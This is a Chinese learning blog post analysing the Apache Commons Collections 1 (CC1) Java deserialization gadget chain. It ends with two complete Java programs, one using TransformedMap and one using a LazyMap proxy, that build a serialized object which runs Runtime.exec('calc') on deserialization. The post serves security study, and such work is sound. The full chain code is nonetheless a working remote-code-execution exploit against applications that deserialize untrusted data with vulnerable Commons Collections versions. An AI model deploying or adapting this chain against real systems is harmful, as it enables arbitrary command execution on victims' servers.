CommonCollections1链 分析

本文记录java安全cc链的学习

TransformedMap

首先要知道一些用到的类和接口
Transformer接口

在这里插入图片描述
里面有一个待实现的transform方法

InvokerTransformer 相当于重新实现了一个反射
在这里插入图片描述
在这里插入图片描述
比如这样可以弹计算器
在这里插入图片描述

ChainedTransformer
在这里插入图片描述
需要传一个Transformer数组
在其transform方法中可以按数组顺序逐一带入
ConstantTransformer
不管接收什么都返回一个常量 在构造函数赋值
TransformedMap
在这里插入图片描述
接收一个map两个Transformer
在这里插入图片描述

分析过程

我们最终想调用invokerTransformer的transform方法
那我们就要找谁调用了transform
在这里插入图片描述
这里考虑TransformedMap
在这里插入图片描述
然后看valueTransform是怎么来的
之前在看相关类的时候已经知道了 有一个Protected的构造函数 这里通过decorate方法得到的
在这里插入图片描述

那么我们先就如上的链子试试能不能连上

继续跟链子

我们发现AbstractInputCheckedMapDecorator类中的MapEntry类的setValue方法调用了checkSetValue
TransformedMap继承AbstractInputCheckedMapDecorator
在这里插入图片描述
所以我们只需要遍历map就可以进setValue
在这里插入图片描述
现在变成了 我们需要找到 一个地方遍历数组并调用了setValue
然后发现AnnotationInvocationHandler类中的readObject方法直接有调用setValue

在这里插入图片描述继续观察 要想执行到setValue还需要一定的条件
在这里插入图片描述

首先是memberType非空
然后判断value是否是memberType的实例
并且我们知道Runtime是没有基础Serializable接口的我们需要用反射去拿Runtime的对象

我们先考虑Runtime的问题,需要反射
拿InvokerTransformer实现就是这样

        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null})
                .transform(Runtime.class);
        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{Runtime.class,null}).transform(getRuntimeMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

看起来很繁琐 我们可以用之前提到的ChainedTransformer来包裹
也就是这样

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null})
                ,new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null})
                ,new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);

在这里插入图片描述
然后解决memberType的问题 首先是注解必须要有属性 然后map的key得是属性名
我们可以考虑用Target注解的value

可以顺利进语句
现在我们只需要想办法控制setValue中的数据就可以了
考虑开始说的ConstantTransformerRuntime.class传给他就行
于是整个链子代码如下

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class App 
{
    public static void main(String[] args) throws Exception {


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class)
                ,new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null})
                ,new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null})
                ,new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);

        HashMap<String, Object> hashMap = new HashMap<>();
        hashMap.put("value","value");
        Map<Object,Object> decoratedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
                .getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Target.class,decoratedMap);
        serialize(obj);
        unSerialize("ser.bin");
    }
    public static void serialize(Object object) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }
    public static Object unSerialize(String path) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}


lazyMap

上面那个是一个版本 还有一个版本是基于lazyMap的
前面都一样 就TransformedMap改成了LazyMap
我们发现invoke方法中调用了get方法
所以我们需要一个动态代理类去代理AnnotationInvocationHandler类 然后调用任意方法 就可以执行invoke方法

在这里插入图片描述
要确保执行到memberValues.get我们不能调有参方法
然后只要memberValuesLazyMap的代理类就行
刚好 AnnotationInvocationHandler 实现了 InvocationHandler 在这里插入图片描述
那么现在的问题就是找无参方法 在这里插入图片描述
entrySet就很好
于是链子如下

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class App 
{
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class)
                ,new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null})
                ,new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null})
                ,new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Constructor annotationInvocationHandlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
                .getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);



        HashMap<String, Object> hashMap = new HashMap<>();

        LazyMap lzMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
        InvocationHandler lzInvocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lzMap);
        Map proxyLazyMap = (Map) Proxy.newProxyInstance(lzMap.getClass().getClassLoader(), lzMap.getClass().getInterfaces(), lzInvocationHandler);

        Object obj = annotationInvocationHandlerConstructor.newInstance(Override.class, proxyLazyMap);
        
        serialize(obj);
        unSerialize("ser.bin");
    }
    public static void serialize(Object object) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }
    public static Object unSerialize(String path) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}


这里在反序列化的时候会抛ClassCastException的异常 不过不影响执行

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值